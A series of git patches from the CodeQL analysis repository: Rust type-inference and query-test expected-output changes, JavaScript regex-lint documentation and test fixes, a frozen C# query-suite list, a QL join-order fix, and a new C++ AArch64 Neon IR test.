main.rs:1732:32:1732:32 | a | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | +| main.rs:1733:13:1733:13 | d | | main.rs:1681:5:1681:14 | S2 | +| main.rs:1733:17:1733:34 | uses_my_trait2(...) | | main.rs:1681:5:1681:14 | S2 | | main.rs:1733:32:1733:33 | S1 | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1733:32:1733:33 | S1 | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | | main.rs:1739:5:1739:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1740:5:1740:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1740:20:1740:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | | main.rs:1740:41:1740:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1756:5:1756:15 | ...::f(...) | | {EXTERNAL LOCATION} | trait Future | testFailures diff --git a/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected index 88e64c648bc..abeca72b351 100644 --- a/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected @@ -4,6 +4,8 @@ multiplePathResolutions | src/main.rs:8:21:8:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:8:21:8:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:8:21:8:33 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:8:21:8:33 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:19:21:19:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:19:21:19:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:19:21:19:33 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:19:21:19:33 | ...::from | file://:0:0:0:0 | fn from | @@ -14,6 +16,8 @@ multiplePathResolutions | src/main.rs:25:23:25:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:25:23:25:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:25:23:25:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:25:23:25:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:26:38:26:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:26:38:26:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:26:38:26:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:26:38:26:50 | ...::from | file://:0:0:0:0 | fn from | @@ -24,6 +28,8 @@ multiplePathResolutions | src/main.rs:39:23:39:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:39:23:39:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:39:23:39:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:39:23:39:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:40:38:40:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:40:38:40:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:40:38:40:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:40:38:40:50 | ...::from | file://:0:0:0:0 | fn from | @@ -34,6 +40,8 @@ multiplePathResolutions | src/main.rs:52:23:52:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:52:23:52:35 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:52:23:52:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:52:23:52:35 | ...::from | file://:0:0:0:0 | fn from | +| src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/tools/builtins/await.rs b/rust/tools/builtins/await.rs new file mode 100644 index 00000000000..c15af9dc529 --- /dev/null +++ b/rust/tools/builtins/await.rs @@ -0,0 +1,7 @@ +use std::future::Future; + +fn await_type_matching>(x: T2) -> T1 { + panic!( + "This function exists only in order to implement type inference for `.await` expressions." + ); +} diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index b0f5fc67300..ca79740a2ce 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -220,6 +220,10 @@ module Make1 Input1> { predicate isCons(TypeParameter tp, TypePath suffix) { suffix = this.stripPrefix(TypePath::singleton(tp)) } + + /** Gets the head of this path, if any. */ + bindingset[this] + TypeParameter getHead() { result = this.getTypeParameter(0) } } /** Provides predicates for constructing `TypePath`s. */ @@ -1110,7 +1114,7 @@ module Make1 Input1> { Declaration decl, DeclarationPosition dpos, Type base, TypePath path, TypeParameter tp ) { tp = decl.getDeclaredType(dpos, path) and - path.isCons(base.getATypeParameter(), _) + base.getATypeParameter() = path.getHead() } /** From a0db250dc3d752ccaa2cbf5dd542144470fcf157 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 12:50:07 +0200 Subject: [PATCH 217/271] Update javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../RegExp/DuplicateCharacterInCharacterClass/tst.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js index 21342d75378..fe291137c8a 100644 --- a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js +++ b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js @@ -12,7 +12,7 @@ /[\u{12340}-\u{12345}]/u; new RegExp("[\u{12340}-\u{12345}]", "u"); const regex = /\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)/gmv; -/[a|b|c]/; // $ Alert -- Reapted | character in character class, which has no special meaning in this context +/[a|b|c]/; // $ Alert -- Repeated | character in character class, which has no special meaning in this context /[:alnum:]/; // $ Alert -- JavaScript does not support POSIX character classes like `[:alnum:]` in regular expressions, thus characters in the class are treated as literals /[(^style|^staticStyle)]/; // $ Alert /[.x.]/i; // $ Alert -- Repeated . character in character class From e6f071ce4693d81b6e882ed8d73158b73b7ed35d Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 13:18:48 +0200 Subject: [PATCH 218/271] Update javascript/ql/lib/Expressions/ExprHasNoEffect.qll Co-authored-by: Asger F --- javascript/ql/lib/Expressions/ExprHasNoEffect.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll index 7fdb1e00e2d..76b6c2bea29 100644 --- a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll @@ -181,7 +181,7 @@ predicate hasNoEffect(Expr e) { // exclude expressions that are part of a conditional expression not exists(ConditionalExpr cond | e.getParent() = cond | e instanceof NullLiteral or - e instanceof GlobalVarAccess or + e.(GlobalVarAccess).getName() = "undefined" or e.(NumberLiteral).getIntValue() = 0 or e.(UnaryExpr).getOperator() = "void" ) and From 496d8d44eb8bb4216dc978358518d72bd5d11fd9 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 13:19:48 +0200 Subject: [PATCH 219/271] Update javascript/ql/lib/Expressions/ExprHasNoEffect.qll Co-authored-by: Asger F --- javascript/ql/lib/Expressions/ExprHasNoEffect.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll index 76b6c2bea29..48d9b908136 100644 --- a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll @@ -179,7 +179,7 @@ predicate hasNoEffect(Expr e) { e.getLastToken().getNextToken().getValue() = ":" ) and // exclude expressions that are part of a conditional expression - not exists(ConditionalExpr cond | e.getParent() = cond | + not exists(ConditionalExpr cond | e = cond.getABranch() | e instanceof NullLiteral or e.(GlobalVarAccess).getName() = "undefined" or e.(NumberLiteral).getIntValue() = 0 or From e46581163aee86f85727167986612f1c7a7e1103 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 13:23:31 +0200 Subject: [PATCH 220/271] Update javascript/ql/lib/Expressions/ExprHasNoEffect.qll Co-Authored-By: Asger F <316427+asgerf@users.noreply.github.com> --- javascript/ql/lib/Expressions/ExprHasNoEffect.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll index 48d9b908136..9813d9b32ed 100644 --- a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll @@ -183,7 +183,7 @@ predicate hasNoEffect(Expr e) { e instanceof NullLiteral or e.(GlobalVarAccess).getName() = "undefined" or e.(NumberLiteral).getIntValue() = 0 or - e.(UnaryExpr).getOperator() = "void" + e instanceof VoidExpr ) and // exclude the first statement of a try block not e = any(TryStmt stmt).getBody().getStmt(0).(ExprStmt).getExpr() and From 65b1275a195037c43409c6444227cd3c2ceb7d05 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 13:26:08 +0200 Subject: [PATCH 221/271] Update javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp Co-authored-by: Asger F --- .../ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp index 5b6abf3c63f..e5d3a8d2660 100644 --- a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp +++ b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp @@ -13,7 +13,7 @@ Common mistakes include:

    • Using square brackets [] instead of parentheses () for grouping alternatives
    • -
    • Misunderstanding that special regex characters like |, *, +, (), - etc. work the same inside character classes as outside
    • +
    • Misunderstanding that special regex characters like |, *, +, (), and - work differently when appearing inside a character class
    • Accidentally duplicating characters or escape sequences that represent the same character
    From a15b9a8eae1bed2305cb478cdb75c698603f2939 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 10 Jun 2025 12:50:36 +0200 Subject: [PATCH 222/271] C#: Freeze quality queries in the security-and-quality suite. --- .../csharp-security-and-quality.qls | 143 +++++++++++++++++- 1 file changed, 141 insertions(+), 2 deletions(-) diff --git a/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls b/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls index 5bb3a54f6ee..b224499edce 100644 --- a/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls +++ b/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls @@ -1,4 +1,143 @@ - description: Security-and-quality queries for C# - queries: . -- apply: security-and-quality-selectors.yml - from: codeql/suite-helpers +- include: + kind: + - problem + - path-problem + precision: + - high + - very-high + tags contain: + - security +- include: + kind: + - problem + - path-problem + precision: medium + problem.severity: + - error + - warning + tags contain: + - security +- include: + id: + - cs/asp/response-write + - cs/call-to-gc + - cs/call-to-object-tostring + - cs/call-to-obsolete-method + - cs/call-to-unmanaged-code + - cs/cast-from-abstract-to-concrete-collection + - cs/cast-of-this-to-type-parameter + - cs/catch-nullreferenceexception + - cs/catch-of-all-exceptions + - cs/chained-type-tests + - cs/class-implements-icloneable + - cs/class-missing-equals + - cs/class-name-comparison + - cs/class-name-matches-base-class + - cs/coalesce-of-identical-expressions + - cs/comparison-of-identical-expressions + - cs/complex-block + - cs/complex-condition + - cs/constant-comparison + - cs/constant-condition + - cs/coupled-types + - cs/dereferenced-value-is-always-null + - cs/dereferenced-value-may-be-null + - cs/dispose-not-called-on-throw + - cs/downcast-of-this + - cs/empty-block + - cs/empty-catch-block + - cs/empty-collection + - cs/empty-lock-statement + - cs/equality-on-floats + - cs/equals-on-arrays + - cs/equals-on-unrelated-types + - cs/equals-uses-as + - cs/equals-uses-is + - cs/expose-implementation + - cs/field-masks-base-field + - cs/gethashcode-is-not-defined + - cs/impossible-array-cast + - cs/inconsistent-compareto-and-equals + - cs/inconsistent-equals-and-gethashcode + - cs/inconsistent-lock-sequence + - cs/index-out-of-bounds + - cs/inefficient-containskey + - cs/invalid-dynamic-call + - cs/invalid-string-formatting + - cs/linq/inconsistent-enumeration + - cs/linq/missed-all + - cs/linq/missed-cast + - cs/linq/missed-oftype + - cs/linq/missed-select + - cs/linq/missed-where + - cs/linq/useless-select + - cs/local-not-disposed + - cs/local-shadows-member + - cs/lock-this + - cs/locked-wait + - cs/loss-of-precision + - cs/mishandling-japanese-era + - cs/misleading-indentation + - cs/missed-readonly-modifier + - cs/missed-ternary-operator + - cs/missed-using-statement + - cs/nested-if-statements + - cs/nested-loops-with-same-variable + - cs/non-short-circuit + - cs/null-argument-to-equals + - cs/path-combine + - cs/recursive-equals-call + - cs/recursive-operator-equals-call + - cs/reference-equality-on-valuetypes + - cs/reference-equality-with-object + - cs/rethrown-exception-variable + - cs/self-assignment + - cs/simplifiable-boolean-expression + - cs/static-field-written-by-instance + - cs/string-concatenation-in-loop + - cs/stringbuilder-creation-in-loop + - cs/stringbuilder-initialized-with-character + - cs/test-for-negative-container-size + - cs/too-many-ref-parameters + - cs/type-test-of-this + - cs/unchecked-cast-in-equals + - cs/unmanaged-code + - cs/unsafe-double-checked-lock + - cs/unsafe-sync-on-field + - cs/unsafe-year-construction + - cs/unsynchronized-getter + - cs/unsynchronized-static-access + - cs/unused-collection + - cs/unused-label + - cs/unused-property-value + - cs/useless-assignment-to-local + - cs/useless-cast-to-self + - cs/useless-gethashcode-call + - cs/useless-if-statement + - cs/useless-tostring-call + - cs/useless-type-test + - cs/useless-upcast + - cs/virtual-call-in-constructor + - cs/wrong-compareto-signature + - cs/wrong-equals-signature + - cs/xmldoc/missing-summary +- include: + kind: + - diagnostic +- include: + kind: + - metric + tags contain: + - summary +- exclude: + deprecated: // +- exclude: + query path: + - /^experimental\/.*/ + - Metrics/Summaries/FrameworkCoverage.ql +- exclude: + tags contain: + - modeleditor + - modelgenerator From d968dd0fa1d27318500c5d1f8a012950e113b7dc Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 13:34:24 +0200 Subject: [PATCH 223/271] Removed `` usage and updated `r?e[m|x]` example --- .../ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp index e5d3a8d2660..f94cced3d09 100644 --- a/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp +++ b/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.qhelp @@ -24,14 +24,14 @@ Common mistakes include: Examine each duplicate character to determine the intended behavior:

      -
    • If you see | inside square brackets (e.g., [a|b|c]): This is usually a mistake. The author likely intended alternation. Replace the character class with a group: (a|b|c)
    • +
    • If you see | inside square brackets (e.g., [a|b|c]): This is usually a mistake. The author likely intended alternation. Replace the character class with a group: (a|b|c)
    • If trying to match alternative strings, use parentheses () for grouping instead of square brackets
    • If the duplicate was truly accidental, remove the redundant characters
    • If trying to use special regex operators inside square brackets, note that most operators (like |) are treated as literal characters

    -Important: Simply removing | characters from character classes is rarely the correct fix. Instead, analyze the pattern to understand what the author intended to match. +Note that simply removing | characters from character classes is rarely the correct fix. Instead, analyze the pattern to understand what the author intended to match.

    @@ -53,7 +53,7 @@ To fix this problem, the regular expression should be rewritten to /(passw Example 2: CSS unit matching

    -The pattern r?e[m|x] appears to be trying to match "rem" or "rex", but actually matches "re" followed by any of the characters {m, |, x}. The correct pattern should be r?e(m|x) or (rem|rex). +The pattern r?e[m|x] appears to be trying to match "rem" or "rex", but actually matches "re" followed by any of the characters {m, |, x}. The correct pattern should be r?e(m|x) or r?e[mx].

    From 3d395dde47f619867b71e02f867954459c6af0fc Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 10 Jun 2025 11:55:55 +0200 Subject: [PATCH 224/271] Address review comments --- .../elements/internal/GenericArgListImpl.qll | 10 +++ .../codeql/rust/internal/TypeInference.qll | 5 +- .../lib/codeql/rust/internal/TypeMention.qll | 66 ++++++++----------- 3 files changed, 39 insertions(+), 42 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll index eaba0f7ff6e..cd56ff37d26 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll @@ -37,5 +37,15 @@ module Impl { /** Gets a type argument of this list. */ TypeRepr getATypeArg() { result = this.getTypeArg(_) } + + /** Gets the associated type argument with the given `name`, if any. */ + pragma[nomagic] + TypeRepr getAssocTypeArg(string name) { + exists(AssocTypeArg arg | + arg = this.getAGenericArg() and + result = arg.getTypeRepr() and + name = arg.getIdentifier().getText() + ) + } } } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index ad9f7785e01..5ff98b9131f 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -112,10 +112,7 @@ private module Input2 implements InputSig2 { class TypeMention = TM::TypeMention; - TypeMention getABaseTypeMention(Type t) { - result = - t.(ImplTraitReturnType).getImplTraitTypeRepr().getTypeBoundList().getABound().getTypeRepr() - } + TypeMention getABaseTypeMention(Type t) { none() } TypeMention getATypeParameterConstraint(TypeParameter tp) { result = tp.(TypeParamTypeParameter).getTypeParam().getTypeBoundList().getABound().getTypeRepr() diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index 2773d76f955..32d4909e45c 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -56,6 +56,29 @@ class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { ItemNode getResolved() { result = resolved } + pragma[nomagic] + private TypeAlias getResolvedTraitAlias(string name) { + exists(TraitItemNode trait | + trait = resolvePath(path) and + result = trait.getAnAssocItem() and + name = result.getName().getText() + ) + } + + pragma[nomagic] + private TypeRepr getAssocTypeArg(string name) { + result = path.getSegment().getGenericArgList().getAssocTypeArg(name) + } + + /** Gets the type argument for the associated type `alias`, if any. */ + pragma[nomagic] + private TypeRepr getAnAssocTypeArgument(TypeAlias alias) { + exists(string name | + alias = this.getResolvedTraitAlias(name) and + result = this.getAssocTypeArg(name) + ) + } + override TypeMention getTypeArgument(int i) { result = path.getSegment().getGenericArgList().getTypeArg(i) or @@ -96,6 +119,11 @@ class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { result = alias.getTypeRepr() and param.getIndex() = i ) + or + exists(TypeAlias alias | + result = this.getAnAssocTypeArgument(alias) and + traitAliasIndex(_, i, alias) + ) } /** @@ -150,44 +178,6 @@ class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { not exists(resolved.(TypeAlias).getTypeRepr()) and result = super.resolveTypeAt(typePath) } - - pragma[nomagic] - private TypeAlias getResolvedTraitAlias(string name) { - exists(TraitItemNode trait | - trait = resolvePath(path) and - result = trait.getAnAssocItem() and - name = result.getName().getText() - ) - } - - pragma[nomagic] - private TypeRepr getAssocTypeArg(string name) { - exists(AssocTypeArg arg | - arg = path.getSegment().getGenericArgList().getAGenericArg() and - result = arg.getTypeRepr() and - name = arg.getIdentifier().getText() - ) - } - - /** Gets the type argument for the associated type `alias`, if any. */ - pragma[nomagic] - private TypeRepr getAnAssocTypeArgument(TypeAlias alias) { - exists(string name | - alias = this.getResolvedTraitAlias(name) and - result = this.getAssocTypeArg(name) - ) - } - - override TypeMention getMentionAt(TypePath tp) { - result = super.getMentionAt(tp) - or - exists(TypeAlias alias, AssociatedTypeTypeParameter attp, TypeMention arg, TypePath suffix | - arg = this.getAnAssocTypeArgument(alias) and - result = arg.getMentionAt(suffix) and - tp = TypePath::cons(attp, suffix) and - attp.getTypeAlias() = alias - ) - } } class ImplTraitTypeReprMention extends TypeMention instanceof ImplTraitTypeRepr { From 4ac4e44b50b0082739f5b3b2e64e61beeeb9f7a2 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 10 Jun 2025 14:45:57 +0200 Subject: [PATCH 225/271] Rust: accept test changes --- .../security/CWE-770/UncontrolledAllocationSize.expected | 3 --- 1 file changed, 3 deletions(-) diff --git a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected index 711f3ff6fcd..54157a7f7d1 100644 --- a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected +++ b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected @@ -524,6 +524,3 @@ nodes | main.rs:323:27:323:27 | v | semmle.label | v | | main.rs:324:25:324:25 | v | semmle.label | v | subpaths -testFailures -| main.rs:202:32:202:38 | realloc | Unexpected result: Alert=arg1 | -| main.rs:202:52:202:96 | //... | Missing result: Alert[rust/uncontrolled-allocation-size] | From 209cfb78a34cca7178effa7109155028a034653c Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 10 Jun 2025 15:25:05 +0200 Subject: [PATCH 226/271] Rust: Fix bad join ``` [2025-06-10 15:21:37] (83s) Tuple counts for TypeMention::PathTypeReprMention.aliasResolveTypeAt/1#dispred#ae16f47b#fbf#cpe#13/2@i5#5a5451wi after 57.7s: 205999 ~1028% {3} r1 = JOIN `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_1_0_2#prev_delta` WITH `_TypeAlias::Generated::TypeAlias.getTypeRepr/0#dispred#5fd7e521_TypeMention::PathTypeReprMention#a35__#join_rhs#1` ON FIRST 2 OUTPUT Rhs.2, Lhs.2 'result', Rhs.3 'this' {3} | AND NOT `project#TypeMention::pathGetTypeParameter/2#fd301eed#2`(FIRST 2) 204000 ~982% {2} | SCAN OUTPUT In.2 'this', In.1 'result' 5499 ~448% {7} r2 = JOIN `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1#prev_delta` WITH `_GenericArgList::GenericArgList.getTypeArg/1#dispred#1c780027_PathSegment::Generated::PathSegment.ge__#join_rhs#1` ON FIRST 1 OUTPUT Rhs.1, Rhs.2 'this', Rhs.3, Lhs.1 'result', _, Lhs.2, _ {5} | REWRITE WITH Tmp.4 := "", Tmp.6 := "", Out.4 := InverseAppend(Tmp.4,In.5,Tmp.6) KEEPING 5 2500 ~398% {5} | SCAN OUTPUT In.0, In.2, In.4, In.1 'this', In.3 'result' 0 ~0% {2} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1#prev` ON FIRST 3 OUTPUT Lhs.3 'this', Lhs.4 'result' 9000 ~489% {7} r3 = JOIN `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1#prev_delta` WITH `_PathSegment::Generated::PathSegment.getGenericArgList/0#dispred#e072653b__Path::Generated::Path.get__#join_rhs#1` ON FIRST 1 OUTPUT Rhs.1, Rhs.2 'this', Rhs.3, Lhs.1, _, Lhs.2, _ {5} | REWRITE WITH Tmp.4 := "", Tmp.6 := "", Out.4 := InverseAppend(In.5,Tmp.4,Tmp.6) KEEPING 5 5000 ~411% {5} | SCAN OUTPUT In.4, In.0, In.1 'this', In.2, In.3 10461919500 ~610% {6} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_1_0_2#prev` ON FIRST 1 OUTPUT Lhs.3, Rhs.1, Lhs.1, Lhs.2 'this', Lhs.4, Rhs.2 'result' 500 ~0% {5} | JOIN WITH `GenericArgList::GenericArgList.getTypeArg/1#dispred#1c780027_021#join_rhs` ON FIRST 2 OUTPUT Lhs.2, Rhs.2, Lhs.4, Lhs.3 'this', Lhs.5 'result' 0 ~0% {2} | JOIN WITH `TypeMention::pathGetTypeParameter/2#fd301eed` ON FIRST 3 OUTPUT Lhs.3 'this', Lhs.4 'result' 204000 ~982% {2} r4 = r1 UNION r2 UNION r3 203964 ~982% {2} | AND NOT `TypeMention::PathTypeReprMention.aliasResolveTypeAt/1#dispred#ae16f47b#fbf#cpe#13#prev`(FIRST 2) return r4 ``` --- rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll | 1 + rust/ql/lib/codeql/rust/internal/TypeMention.qll | 1 + 2 files changed, 2 insertions(+) diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll index cd56ff37d26..d459ab13dc6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll @@ -26,6 +26,7 @@ module Impl { override string toAbbreviatedString() { result = "<...>" } /** Gets the `i`th type argument of this list. */ + pragma[nomagic] TypeRepr getTypeArg(int i) { result = rank[i + 1](TypeRepr res, int j | diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index 32d4909e45c..32006041334 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -130,6 +130,7 @@ class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { * Holds if this path resolved to a type alias with a rhs. that has the * resulting type at `typePath`. */ + pragma[nomagic] Type aliasResolveTypeAt(TypePath typePath) { exists(TypeAlias alias, TypeMention rhs | alias = resolved and rhs = alias.getTypeRepr() | result = rhs.resolveTypeAt(typePath) and From 7d1b5ce58412a1a071462f32d08c982450b7ca2f Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 10 Jun 2025 15:34:06 +0200 Subject: [PATCH 227/271] C++: Add basic Aarch64 Neon test --- .../library-tests/ir/ir/PrintAST.expected | 71 ++++++++++++++++ .../library-tests/ir/ir/aliased_ir.expected | 83 +++++++++++++++++++ cpp/ql/test/library-tests/ir/ir/arm.cpp | 23 +++++ .../test/library-tests/ir/ir/raw_ir.expected | 77 +++++++++++++++++ 4 files changed, 254 insertions(+) create mode 100644 cpp/ql/test/library-tests/ir/ir/arm.cpp diff --git a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected index 0b825a0a855..76e1175f98c 100644 --- a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected +++ b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected @@ -58,6 +58,77 @@ #-----| Type = [LongType] unsigned long #-----| getParameter(1): [Parameter] (unnamed parameter 1) #-----| Type = [ScopedEnum] align_val_t +arm.cpp: +# 6| [TopLevelFunction] uint8x8_t vadd_u8(uint8x8_t, uint8x8_t) +# 6| : +# 6| getParameter(0): [Parameter] __a +# 6| Type = [CTypedefType] uint8x8_t +# 6| getParameter(1): [Parameter] __b +# 6| Type = [CTypedefType] uint8x8_t +# 7| getEntryPoint(): [BlockStmt] { ... } +# 8| getStmt(0): [ReturnStmt] return ... +# 8| getExpr(): [AddExpr] ... + ... +# 8| Type = [GNUVectorType] __attribute((neon_vector_type(8))) unsigned char +# 8| ValueCategory = prvalue +# 8| getLeftOperand(): [VariableAccess] __a +# 8| Type = [CTypedefType] uint8x8_t +# 8| ValueCategory = prvalue(load) +# 8| getRightOperand(): [VariableAccess] __b +# 8| Type = [CTypedefType] uint8x8_t +# 8| ValueCategory = prvalue(load) +# 13| [TopLevelFunction] uint16x8_t __builtin_aarch64_uaddlv8qi_uuu(uint8x8_t, uint8x8_t) +# 13| : +# 13| getParameter(0): [Parameter] (unnamed parameter 0) +# 13| Type = [CTypedefType] uint8x8_t +# 13| getParameter(1): [Parameter] (unnamed parameter 1) +# 13| Type = [CTypedefType] uint8x8_t +# 15| [TopLevelFunction] uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) +# 15| : +# 15| getParameter(0): [Parameter] __a +# 15| Type = [CTypedefType] uint8x8_t +# 15| getParameter(1): [Parameter] __b +# 15| Type = [CTypedefType] uint8x8_t +# 16| getEntryPoint(): [BlockStmt] { ... } +# 17| getStmt(0): [ReturnStmt] return ... +# 17| getExpr(): [FunctionCall] call to __builtin_aarch64_uaddlv8qi_uuu +# 17| Type = [CTypedefType] uint16x8_t +# 17| 